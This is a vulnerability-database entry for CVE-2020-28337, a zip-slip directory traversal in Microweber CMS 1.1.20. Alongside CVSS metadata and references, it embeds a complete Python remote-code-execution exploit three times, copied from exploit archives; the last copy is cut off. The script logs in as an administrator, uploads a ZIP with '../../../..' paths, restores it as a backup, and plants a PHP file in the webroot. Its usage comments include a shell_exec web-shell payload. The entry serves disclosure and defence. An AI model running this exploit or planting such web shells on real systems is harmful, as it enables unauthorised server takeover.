Description
A directory traversal issue in the Utils/Unzip module in Microweber through 1.1.20 allows an authenticated attacker to gain remote code execution via the backup restore feature. To exploit the vulnerability, an attacker must have the credentials of an administrative user, upload a maliciously constructed ZIP file with file paths including relative paths (i.e., ../../), move this file into the backup directory, and execute a restore on this file.
Affected Software
Related
{"id": "CVE-2020-28337", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2020-28337", "description": "A directory traversal issue in the Utils/Unzip module in Microweber through 1.1.20 allows an authenticated attacker to gain remote code execution via the backup restore feature. To exploit the vulnerability, an attacker must have the credentials of an administrative user, upload a maliciously constructed ZIP file with file paths including relative paths (i.e., ../../), move this file into the backup directory, and execute a restore on this file.", "published": "2021-02-15T20:15:00", "modified": "2022-01-01T18:13:00", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 6.5}, "severity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.2, "baseSeverity": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-28337", "reporter": "cve@mitre.org", "references": ["https://sl1nki.page/advisories/CVE-2020-28337", "https://sl1nki.page/blog/2021/02/01/microweber-zip-slip", "https://github.com/microweber/microweber/commit/777ee9c3e7519eb3672c79ac41066175b2001b50", "http://packetstormsecurity.com/files/162514/Microweber-CMS-1.1.20-Remote-Code-Execution.html"], "cvelist": ["CVE-2020-28337"], "immutableFields": [], "lastseen": "2022-03-23T17:04:20", "viewCount": 55, "enchantments": {"dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:49856"]}, {"type": "github", "idList": ["GHSA-PQCF-V8V5-JMCG"]}, {"type": "osv", "idList": ["OSV:GHSA-PQCF-V8V5-JMCG"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:162514"]}, {"type": "zdt", "idList": ["1337DAY-ID-36222"]}], "rev": 4}, "score": {"value": 6.0, "vector": "NONE"}, "backreferences": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:49856"]}, {"type": "github", "idList": ["GHSA-PQCF-V8V5-JMCG"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:162514"]}, {"type": "zdt", "idList": ["1337DAY-ID-36222"]}]}, "exploitation": null, "vulnersScore": 6.0}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": ["cpe:/a:microweber:microweber:1.1.20"], "cpe23": ["cpe:2.3:a:microweber:microweber:1.1.20:*:*:*:*:*:*:*"], "cwe": ["CWE-22"], "affectedSoftware": [{"cpeName": "microweber:microweber", "version": "1.1.20", "operator": "le", "name": "microweber"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:microweber:microweber:1.1.20:*:*:*:*:*:*:*", "versionEndIncluding": "1.1.20", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://sl1nki.page/advisories/CVE-2020-28337", "name": "https://sl1nki.page/advisories/CVE-2020-28337", "refsource": "MISC", "tags": ["Third Party Advisory"]}, {"url": "https://sl1nki.page/blog/2021/02/01/microweber-zip-slip", "name": "https://sl1nki.page/blog/2021/02/01/microweber-zip-slip", "refsource": "MISC", "tags": ["Exploit", "Patch", "Third Party Advisory"]}, {"url": "https://github.com/microweber/microweber/commit/777ee9c3e7519eb3672c79ac41066175b2001b50", "name": "https://github.com/microweber/microweber/commit/777ee9c3e7519eb3672c79ac41066175b2001b50", "refsource": "MISC", "tags": ["Patch", "Third Party Advisory"]}, {"url": "http://packetstormsecurity.com/files/162514/Microweber-CMS-1.1.20-Remote-Code-Execution.html", "name": "http://packetstormsecurity.com/files/162514/Microweber-CMS-1.1.20-Remote-Code-Execution.html", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}]}
{"zdt": [{"lastseen": "2021-11-08T14:24:26", "description": "", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-10T00:00:00", "type": "zdt", "title": "Microweber CMS 1.1.20 - Remote Code Execution (Authenticated) Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-28337"], "modified": "2021-05-10T00:00:00", "id": "1337DAY-ID-36222", "href": "https://0day.today/exploit/description/36222", "sourceData": "# Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated) \n# Exploit Author: sl1nki\n# Vendor Homepage: https://microweber.org/\n# Software Link: https://github.com/microweber/microweber/tree/1.1.20\n# Version: <=1.1.20\n# Tested on: Ubuntu 18.04\n# CVE : CVE-2020-28337\n#\n# Example usage with default phpinfo() payload:\n# ./microweber_rce.py \\\n# --hostname \"http://microwebertest.com\" \\\n# --username \"admin\" \\\n# --password \"password123\"\n#\n#\n# Example usage with custom payload (shell_exec):\n# ./microweber_rce.py \\\n# --hostname \"http://microwebertest.com\" \\\n# --username \"admin\" \\\n# --password \"password123\" \\\n# --payload '<?php if (isset($_REQUEST[\"fexec\"])) {echo \"<pre>\" . shell_exec($_REQUEST[\"fexec\"]) . \"</pre>\";} ?>'\n#\n# Notes:\n# * SSL verification is disabled by default\n# * If for some reason the --target-path \"/userfiles/cache\n\n#!/usr/bin/python3\n\n#/\" doesn't work, \"/userfiles/modules/\" is a good one too.\n#\n#\n#\n\n\nimport argparse\nimport re\nimport requests\nimport sys\nimport zipfile\n\nfrom io import BytesIO\n\n# Disable insecure SSL warnings\nrequests.packages.urllib3.disable_warnings()\n\nclass Microweber():\n def __init__(self, baseUrl, proxies=None):\n self.baseUrl = baseUrl\n self.proxies = proxies\n self.cookies = None\n\n self.loginUrl = \"/api/user_login\"\n self.uploadUrl = \"/plupload\"\n self.moveZipToBackupUrl = \"/api/Microweber/Utils/Backup/move_uploaded_file_to_backup\"\n self.restoreBackupUrl = \"/api/Microweber/Utils/Backup/restore\"\n\n self.targetPath = \"/userfiles/cache/\"\n self.targetFilename = \"payload.php\"\n self.zipPayloadName = \"payload.zip\"\n\n def makePostRequest(self, url, data=None, files=None, headers=None):\n return requests.post(self.baseUrl + url,\n data=data,\n files=files,\n headers=headers,\n cookies=self.cookies,\n proxies=self.proxies,\n verify=False\n )\n\n def makeGetRequest(self, url, params=None):\n return requests.post(self.baseUrl + url,\n params=params,\n cookies=self.cookies,\n proxies=self.proxies,\n verify=False\n )\n\n def login(self, username, password):\n res = self.makePostRequest(self.loginUrl, data={\n \"username\": username,\n \"password\": password\n })\n\n if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == \"You are logged in!\":\n print(f\"[+] Successfully logged in as {username}\")\n self.cookies = res.cookies\n else:\n print(f\"[-] Unable to login. Status Code: {res.status_code}\")\n sys.exit(-1)\n\n def createZip(self, path=None, filename=None, payload=None):\n # In-memory adaptation of ptoomey3's evilarc\n\n # https://github.com/ptoomey3/evilarc\n\n if payload == None:\n payload = \"<?php phpinfo(); ?>\"\n\n zd = BytesIO()\n zf = zipfile.ZipFile(zd, \"w\")\n\n # The custom Unzip class uses a path under the webroot for cached file extraction\n # /storage/cache/backup_restore/<md5 hash>/\n # so moving up 4 directories puts us at the webroot\n zf.writestr(f\"../../../..{path}{filename}\", payload)\n zf.close()\n return zd\n\n def uploadZip(self, zipData):\n # Upload the zip data as a general file\n\n res = self.makePostRequest(self.uploadUrl,\n headers={\"Referer\": \"\"},\n data={\n \"name\": self.zipPayloadName,\n \"chunk\": 0,\n \"chunks\": 1\n },\n files={\"file\": (self.zipPayloadName, zipData.getvalue(), \"application/zip\")}\n )\n\n if res.status_code == 200:\n print(f\"[+] Successfully uploaded: {self.zipPayloadName}\")\n j = res.json()\n print(f\"[+] URL: {j['src']}\")\n print(f\"[+] Resulting Filename: {j['name']}\")\n self.zipPayloadName = j['name']\n else:\n print(f\"[-] Unable to upload: {self.zipPayloadName} (Status Code: {res.status_code})\")\n sys.exit(-1)\n\n def getAbsoluteWebRoot(self):\n # Determine the webroot using the debug output and the DefaultController.php path\n res = self.makeGetRequest(\"\", params={\n \"debug\": \"true\"\n })\n\n if res.status_code != 200:\n print(f\"[-] Unable to collect debug information. Bad server response: {res.status_code}\")\n sys.exit(-1)\n\n target = \"src/Microweber/Controllers/DefaultController.php\"\n m = re.findall('([\\/\\w]+)\\/src\\/Microweber\\/Controllers\\/DefaultController\\.php', res.text)\n if len(m) == 1:\n return m[0]\n else:\n print(f\"[-] Unable to determine the webroot using {target}. Found {len(m)} matches\")\n\n def moveZipToBackup(self):\n # Move the uploaded zip file into the backup directory\n\n webRoot = self.getAbsoluteWebRoot()\n hostname = self.baseUrl.split(\"//\")[1]\n\n src = f\"{webRoot}/userfiles/media/{hostname}/{self.zipPayloadName}\"\n res = self.makeGetRequest(self.moveZipToBackupUrl, params={\n \"src\": src\n })\n\n if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == f\"{self.zipPayloadName} was uploaded!\":\n print(f\"[+] Successfully moved {self.zipPayloadName} to backup\")\n else:\n print(f\"[-] Unable to move zip to backup ({res.status_code})\")\n sys.exit(-1)\n\n def restoreBackup(self, filename):\n # With the zip file in the backup directory, 'restore' it, which will cause it to be extracted unsafely\n\n res = self.makePostRequest(self.restoreBackupUrl, data={\n\n \"id\": filename\n })\n\n if res.status_code == 200 and \"Backup was restored!\" in res.text:\n print(f\"[+] Successfully restored backup {filename}\")\n else:\n print(f\"[-] Unable to restore backup {filename}\")\n sys.exit(-1)\n\n def exploit(self, payload=None):\n zipData = m.createZip(self.targetPath, self.targetFilename, payload=payload)\n m.uploadZip(zipData)\n m.moveZipToBackup()\n m.restoreBackup(self.zipPayloadName)\n\n print(f\"[+] Successfully uploaded payload to {self.targetFilename}!=\")\n print(f\"[+] Visit: {self.baseUrl}{self.targetPath}{self.targetFilename}\")\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--hostname\", required=True, dest=\"hostname\", help=\"Microweber hostname with protocol (e.g. http://microwebertest.com)\")\n parser.add_argument(\"--http-proxy\", required=False, dest=\"http_proxy\", help=\"HTTP Proxy (e.g. http://127.0.0.1:8000)\")\n parser.add_argument(\"--username\", \"-u\", required=True, dest=\"username\", help=\"Username of administrative user\")\n parser.add_argument(\"--password\", \"-p\", required=True, dest=\"password\", help=\"Password of administrative user\")\n parser.add_argument(\"--payload\", required=False, dest=\"payload\", help=\"Payload contents. Should be a string of PHP code. (default is phpinfo() )\")\n\n # Uncommon args\n parser.add_argument(\"--target-file\", required=False, dest=\"target_file\", help=\"Target filename of the payload (default: payload.php\")\n parser.add_argument(\"--target-path\", required=False, dest=\"target_path\", help=\"Target path relative to webroot for the payload (default: /userfiles/cache/\")\n parser.add_argument(\"--zip-name\", required=False, dest=\"zip_name\", help=\"File name of tmp backup zip\")\n args = parser.parse_args()\n\n proxies = None\n if args.http_proxy:\n proxies = {\n \"http\": args.http_proxy\n }\n\n m = Microweber(args.hostname, proxies=proxies)\n\n if args.target_file:\n m.targetFilename = args.target_file\n if args.target_path:\n m.targetPath = args.target_path\n\n if args.zip_name:\n m.zipPayloadName = args.zip_name\n\n m.login(args.username, args.password)\n m.exploit(args.payload)\n", "sourceHref": "https://0day.today/exploit/36222", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2021-05-10T14:42:36", "description": "", "cvss3": {}, "published": "2021-05-10T00:00:00", "type": "packetstorm", "title": "Microweber CMS 1.1.20 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-28337"], "modified": "2021-05-10T00:00:00", "id": "PACKETSTORM:162514", "href": "https://packetstormsecurity.com/files/162514/Microweber-CMS-1.1.20-Remote-Code-Execution.html", "sourceData": "`# Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated) \n# Date: 2020-10-31 \n# Exploit Author: sl1nki \n# Vendor Homepage: https://microweber.org/ \n# Software Link: https://github.com/microweber/microweber/tree/1.1.20 \n# Version: <=1.1.20 \n# Tested on: Ubuntu 18.04 \n# CVE : CVE-2020-28337 \n# \n# Example usage with default phpinfo() payload: \n# ./microweber_rce.py \\ \n# --hostname \"http://microwebertest.com\" \\ \n# --username \"admin\" \\ \n# --password \"password123\" \n# \n# \n# Example usage with custom payload (shell_exec): \n# ./microweber_rce.py \\ \n# --hostname \"http://microwebertest.com\" \\ \n# --username \"admin\" \\ \n# --password \"password123\" \\ \n# --payload '<?php if (isset($_REQUEST[\"fexec\"])) {echo \"<pre>\" . shell_exec($_REQUEST[\"fexec\"]) . \"</pre>\";} ?>' \n# \n# Notes: \n# * SSL verification is disabled by default \n# * If for some reason the --target-path \"/userfiles/cache \n \n#!/usr/bin/python3 \n \n#/\" doesn't work, \"/userfiles/modules/\" is a good one too. \n# \n# \n# \n \n \nimport argparse \nimport re \nimport requests \nimport sys \nimport zipfile \n \nfrom io import BytesIO \n \n# Disable insecure SSL warnings \nrequests.packages.urllib3.disable_warnings() \n \nclass Microweber(): \ndef __init__(self, baseUrl, proxies=None): \nself.baseUrl = baseUrl \nself.proxies = proxies \nself.cookies = None \n \nself.loginUrl = \"/api/user_login\" \nself.uploadUrl = \"/plupload\" \nself.moveZipToBackupUrl = \"/api/Microweber/Utils/Backup/move_uploaded_file_to_backup\" \nself.restoreBackupUrl = \"/api/Microweber/Utils/Backup/restore\" \n \nself.targetPath = \"/userfiles/cache/\" \nself.targetFilename = \"payload.php\" \nself.zipPayloadName = \"payload.zip\" \n \ndef makePostRequest(self, url, data=None, files=None, headers=None): \nreturn requests.post(self.baseUrl + url, \ndata=data, \nfiles=files, \nheaders=headers, \ncookies=self.cookies, \nproxies=self.proxies, \nverify=False \n) \n \ndef makeGetRequest(self, url, params=None): \nreturn requests.post(self.baseUrl + url, \nparams=params, \ncookies=self.cookies, \nproxies=self.proxies, \nverify=False \n) \n \ndef login(self, username, password): \nres = self.makePostRequest(self.loginUrl, data={ \n\"username\": username, \n\"password\": password \n}) \n \nif res.status_code == 200 and 'success' in res.json() and res.json()['success'] == \"You are logged in!\": \nprint(f\"[+] Successfully logged in as {username}\") \nself.cookies = res.cookies \nelse: \nprint(f\"[-] Unable to login. Status Code: {res.status_code}\") \nsys.exit(-1) \n \ndef createZip(self, path=None, filename=None, payload=None): \n# In-memory adaptation of ptoomey3's evilarc \n \n# https://github.com/ptoomey3/evilarc \n \nif payload == None: \npayload = \"<?php phpinfo(); ?>\" \n \nzd = BytesIO() \nzf = zipfile.ZipFile(zd, \"w\") \n \n# The custom Unzip class uses a path under the webroot for cached file extraction \n# /storage/cache/backup_restore/<md5 hash>/ \n# so moving up 4 directories puts us at the webroot \nzf.writestr(f\"../../../..{path}{filename}\", payload) \nzf.close() \nreturn zd \n \ndef uploadZip(self, zipData): \n# Upload the zip data as a general file \n \nres = self.makePostRequest(self.uploadUrl, \nheaders={\"Referer\": \"\"}, \ndata={ \n\"name\": self.zipPayloadName, \n\"chunk\": 0, \n\"chunks\": 1 \n}, \nfiles={\"file\": (self.zipPayloadName, zipData.getvalue(), \"application/zip\")} \n) \n \nif res.status_code == 200: \nprint(f\"[+] Successfully uploaded: {self.zipPayloadName}\") \nj = res.json() \nprint(f\"[+] URL: {j['src']}\") \nprint(f\"[+] Resulting Filename: {j['name']}\") \nself.zipPayloadName = j['name'] \nelse: \nprint(f\"[-] Unable to upload: {self.zipPayloadName} (Status Code: {res.status_code})\") \nsys.exit(-1) \n \ndef getAbsoluteWebRoot(self): \n# Determine the webroot using the debug output and the DefaultController.php path \nres = self.makeGetRequest(\"\", params={ \n\"debug\": \"true\" \n}) \n \nif res.status_code != 200: \nprint(f\"[-] Unable to collect debug information. Bad server response: {res.status_code}\") \nsys.exit(-1) \n \ntarget = \"src/Microweber/Controllers/DefaultController.php\" \nm = re.findall('([\\/\\w]+)\\/src\\/Microweber\\/Controllers\\/DefaultController\\.php', res.text) \nif len(m) == 1: \nreturn m[0] \nelse: \nprint(f\"[-] Unable to determine the webroot using {target}. Found {len(m)} matches\") \n \ndef moveZipToBackup(self): \n# Move the uploaded zip file into the backup directory \n \nwebRoot = self.getAbsoluteWebRoot() \nhostname = self.baseUrl.split(\"//\")[1] \n \nsrc = f\"{webRoot}/userfiles/media/{hostname}/{self.zipPayloadName}\" \nres = self.makeGetRequest(self.moveZipToBackupUrl, params={ \n\"src\": src \n}) \n \nif res.status_code == 200 and 'success' in res.json() and res.json()['success'] == f\"{self.zipPayloadName} was uploaded!\": \nprint(f\"[+] Successfully moved {self.zipPayloadName} to backup\") \nelse: \nprint(f\"[-] Unable to move zip to backup ({res.status_code})\") \nsys.exit(-1) \n \ndef restoreBackup(self, filename): \n# With the zip file in the backup directory, 'restore' it, which will cause it to be extracted unsafely \n \nres = self.makePostRequest(self.restoreBackupUrl, data={ \n \n\"id\": filename \n}) \n \nif res.status_code == 200 and \"Backup was restored!\" in res.text: \nprint(f\"[+] Successfully restored backup {filename}\") \nelse: \nprint(f\"[-] Unable to restore backup {filename}\") \nsys.exit(-1) \n \ndef exploit(self, payload=None): \nzipData = m.createZip(self.targetPath, self.targetFilename, payload=payload) \nm.uploadZip(zipData) \nm.moveZipToBackup() \nm.restoreBackup(self.zipPayloadName) \n \nprint(f\"[+] Successfully uploaded payload to {self.targetFilename}!=\") \nprint(f\"[+] Visit: {self.baseUrl}{self.targetPath}{self.targetFilename}\") \n \nif __name__ == \"__main__\": \nparser = argparse.ArgumentParser() \nparser.add_argument(\"--hostname\", required=True, dest=\"hostname\", help=\"Microweber hostname with protocol (e.g. http://microwebertest.com)\") \nparser.add_argument(\"--http-proxy\", required=False, dest=\"http_proxy\", help=\"HTTP Proxy (e.g. http://127.0.0.1:8000)\") \nparser.add_argument(\"--username\", \"-u\", required=True, dest=\"username\", help=\"Username of administrative user\") \nparser.add_argument(\"--password\", \"-p\", required=True, dest=\"password\", help=\"Password of administrative user\") \nparser.add_argument(\"--payload\", required=False, dest=\"payload\", help=\"Payload contents. Should be a string of PHP code. (default is phpinfo() )\") \n \n# Uncommon args \nparser.add_argument(\"--target-file\", required=False, dest=\"target_file\", help=\"Target filename of the payload (default: payload.php\") \nparser.add_argument(\"--target-path\", required=False, dest=\"target_path\", help=\"Target path relative to webroot for the payload (default: /userfiles/cache/\") \nparser.add_argument(\"--zip-name\", required=False, dest=\"zip_name\", help=\"File name of tmp backup zip\") \nargs = parser.parse_args() \n \nproxies = None \nif args.http_proxy: \nproxies = { \n\"http\": args.http_proxy \n} \n \nm = Microweber(args.hostname, proxies=proxies) \n \nif args.target_file: \nm.targetFilename = args.target_file \nif args.target_path: \nm.targetPath = args.target_path \n \nif args.zip_name: \nm.zipPayloadName = args.zip_name \n \nm.login(args.username, args.password) \nm.exploit(args.payload) \n \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/162514/microwebercms1120-exec.txt", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "osv": [{"lastseen": "2022-05-12T01:15:35", "description": "A directory traversal issue in the Utils/Unzip module in Microweber through 1.1.20 allows an authenticated attacker to gain remote code execution via the backup restore feature. To exploit the vulnerability, an attacker must have the credentials of an administrative user, upload a maliciously constructed ZIP file with file paths including relative paths (i.e., ../../), move this file into the backup directory, and execute a restore on this file.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-10T22:23:18", "type": "osv", "title": "Zip slip in Microweber", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-28337"], "modified": "2021-05-07T21:58:37", "id": "OSV:GHSA-PQCF-V8V5-JMCG", "href": "https://osv.dev/vulnerability/GHSA-pqcf-v8v5-jmcg", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "github": [{"lastseen": "2022-02-10T23:27:45", "description": "A directory traversal issue in the Utils/Unzip module in Microweber through 1.1.20 allows an authenticated attacker to gain remote code execution via the backup restore feature. To exploit the vulnerability, an attacker must have the credentials of an administrative user, upload a maliciously constructed ZIP file with file paths including relative paths (i.e., ../../), move this file into the backup directory, and execute a restore on this file.", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-10T22:23:18", "type": "github", "title": "Zip slip in Microweber", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-28337"], "modified": "2022-02-10T22:23:18", "id": "GHSA-PQCF-V8V5-JMCG", "href": "https://github.com/advisories/GHSA-pqcf-v8v5-jmcg", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2022-01-13T05:29:19", "description": "", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-10T00:00:00", "type": "exploitdb", "title": "Microweber CMS 1.1.20 - Remote Code Execution (Authenticated)", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-28337", "2020-28337"], "modified": "2021-05-10T00:00:00", "id": "EDB-ID:49856", "href": "https://www.exploit-db.com/exploits/49856", "sourceData": "# Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated) \r\n# Date: 2020-10-31\r\n# Exploit Author: sl1nki\r\n# Vendor Homepage: https://microweber.org/\r\n# Software Link: https://github.com/microweber/microweber/tree/1.1.20\r\n# Version: <=1.1.20\r\n# Tested on: Ubuntu 18.04\r\n# CVE : CVE-2020-28337\r\n#\r\n# Example usage with default phpinfo() payload:\r\n# ./microweber_rce.py \\\r\n# --hostname \"http://microwebertest.com\" \\\r\n# --username \"admin\" \\\r\n# --password \"password123\"\r\n#\r\n#\r\n# Example usage with custom payload (shell_exec):\r\n# ./microweber_rce.py \\\r\n# --hostname \"http://microwebertest.com\" \\\r\n# --username \"admin\" \\\r\n# --password \"password123\" \\\r\n# --payload '<?php if (isset($_REQUEST[\"fexec\"])) {echo \"<pre>\" . shell_exec($_REQUEST[\"fexec\"]) . \"</pre>\";} ?>'\r\n#\r\n# Notes:\r\n# * SSL verification is disabled by default\r\n# * If for some reason the --target-path \"/userfiles/cache\r\n\r\n#!/usr/bin/python3\r\n\r\n#/\" doesn't work, \"/userfiles/modules/\" is a good one too.\r\n#\r\n#\r\n#\r\n\r\n\r\nimport argparse\r\nimport re\r\nimport requests\r\nimport sys\r\nimport zipfile\r\n\r\nfrom io import BytesIO\r\n\r\n# Disable insecure SSL warnings\r\nrequests.packages.urllib3.disable_warnings()\r\n\r\nclass Microweber():\r\n def __init__(self, baseUrl, proxies=None):\r\n self.baseUrl = baseUrl\r\n self.proxies = proxies\r\n self.cookies = None\r\n\r\n self.loginUrl = \"/api/user_login\"\r\n self.uploadUrl = \"/plupload\"\r\n self.moveZipToBackupUrl = \"/api/Microweber/Utils/Backup/move_uploaded_file_to_backup\"\r\n self.restoreBackupUrl = \"/api/Microweber/Utils/Backup/restore\"\r\n\r\n self.targetPath = \"/userfiles/cache/\"\r\n self.targetFilename = \"payload.php\"\r\n self.zipPayloadName = \"payload.zip\"\r\n\r\n def makePostRequest(self, url, data=None, files=None, headers=None):\r\n return requests.post(self.baseUrl + url,\r\n data=data,\r\n files=files,\r\n headers=headers,\r\n cookies=self.cookies,\r\n proxies=self.proxies,\r\n verify=False\r\n )\r\n\r\n def makeGetRequest(self, url, params=None):\r\n return requests.post(self.baseUrl + url,\r\n params=params,\r\n cookies=self.cookies,\r\n proxies=self.proxies,\r\n verify=False\r\n )\r\n\r\n def login(self, username, password):\r\n res = self.makePostRequest(self.loginUrl, data={\r\n \"username\": username,\r\n \"password\": password\r\n })\r\n\r\n if res.status_code == 200 and 'success' in res.json() and res.json()['success'] == \"You are logged in!\":\r\n print(f\"[+] Successfully logged in as {username}\")\r\n self.cookies = res.cookies\r\n else:\r\n print(f\"[-] Unable to login. Status Code: {res.status_code}\")\r\n sys.exit(-1)\r\n\r\n def createZip(self, path=None, filename=None, payload=None):\r\n # In-memory adaptation of ptoomey3's evilarc\r\n\r\n # https://github.com/ptoomey3/evilarc\r\n\r\n if payload == None:\r\n payload = \"<?php phpinfo(); ?>\"\r\n\r\n zd = BytesIO()\r\n zf = zipfile.ZipFile(zd, \"w\")\r\n\r\n # The custom Unzip class uses a path under the webroot for cached file extraction\r\n # /storage/cache/backup_restore/<md5 hash>/\r\n # so moving up 4 directories puts us at the webroot\r\n zf.writestr(f\"../../../..{path}{filename}\", payload)\r\n zf.close()\r\n return zd\r\n\r\n def uploadZip(self, zipData):\r\n # Upload the zip data as a general file\r\n\r\n res = self.makePostRequest(self.uploadUrl,\r\n headers={\"Referer\": \"\"},\r\n data={\r\n \"name\": self.zipPayloadName,\r\n \"chunk\": 0,\r\n \"chunks\": 1\r\n },\r\n files={\"file\": (self.zipPayloadName, zipData.getvalue(), \"application/zip\")}\r\n )\r\n\r\n if res.status_code == 200:\r\n print(f\"[+] Successfully uploaded: {self.zipPayloadName}\")\r\n j = res.json()\r\n print(f\"[+] URL: {j['src']}\")\r\n print(f\"[+] Resulting Filename: {j['name']}\")\r\n self.zipPayloadName = j['name']\r\n else:\r\n print(f\"[-] Unable to upload: {self.zipPayloadName} (Status Code: {res.status_code})\")\r\n sys.exit(-1)\r\n\r\n def 